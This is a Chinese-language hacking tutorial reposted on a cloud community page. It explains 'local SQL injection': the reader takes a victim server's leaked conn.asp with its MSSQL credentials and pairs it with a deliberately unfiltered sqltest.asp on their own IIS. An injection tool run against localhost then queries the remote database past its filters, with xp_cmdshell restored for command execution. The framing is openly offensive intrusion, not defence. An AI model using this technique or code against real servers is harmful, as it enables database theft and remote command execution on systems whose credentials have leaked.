本地SQL注射攻略分析曝光

來源:互聯網
上載者:User

何為本地注射?簡單地講,就是本來你在伺服器上無法進行SQL注入,因為伺服器上的WEB程式很安全,對request("id")這樣的請求過濾很嚴,或是限制輸入格式為數字等等方法,你只能選擇放棄放棄注入。

但是在有的時候,你可以在原生IIS裡進行注入,從而達到對伺服器注射的目的,避過伺服器的request參數提交過濾。舉例子來說明吧,現在你誤打誤撞,利用暴庫或是其他的漏洞,得到了伺服器的conn.asp檔案,那麼恭喜你,入侵離成功不遠了。

conn.asp檔案代碼一般如下:

<%
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "PROVIDER=SQLOLEDB;DATA SOURCE=61.121.140.37;UID=admin;pwd=12345;DATABASE=master"
%>

這裡面記錄的就是伺服器的資料庫的一些資訊了,一般也會得到串連密碼,說明是MSSQL的系統,非常好搞。如果伺服器有URL可以進行SQL語句注射的話,恢複下XP_CMDshell,我們就能執行很多命令了,DOS命令也隨便你。但是很可惜,我們不能注射,只有這麼一個conn.asp檔案可以利用。

那麼,我們在本機來欺騙伺服器,不過你要知道那個伺服器採用的是什麼web程式,不然你下面就不好寫代碼,我們來寫一個sqltest.asp檔案,在其中不做任何過濾,將這個檔案和conn.asp一起放到你的IIS中的wwwroot下面,這樣你就能通過Localhost來訪問啦。

sqltest.asp代碼如下:

<!--#include file="conn.asp"-->
<%
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL ="select * from DVBBSmdb where GuestID=" & id
rs.open strSQL,conn,1,3
rs.close
%>

那個DVBBSmdb是我虛構的,大家要改成這個web程式的資料庫的庫名。看到沒有,id的提交參數沒有經過任何的過濾,沒有用replace或是其他的函數。現在我們在啊D中輸入注射URL:http://localhost/sqltest.asp?id=1。接著用啊D在本機伺服器執行命令或是跑使用者名稱和密碼,就等同於在你要入侵的伺服器上進行注射,繞過了它的防注入措施。

這就是本地欺騙注射,明白了吧?

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.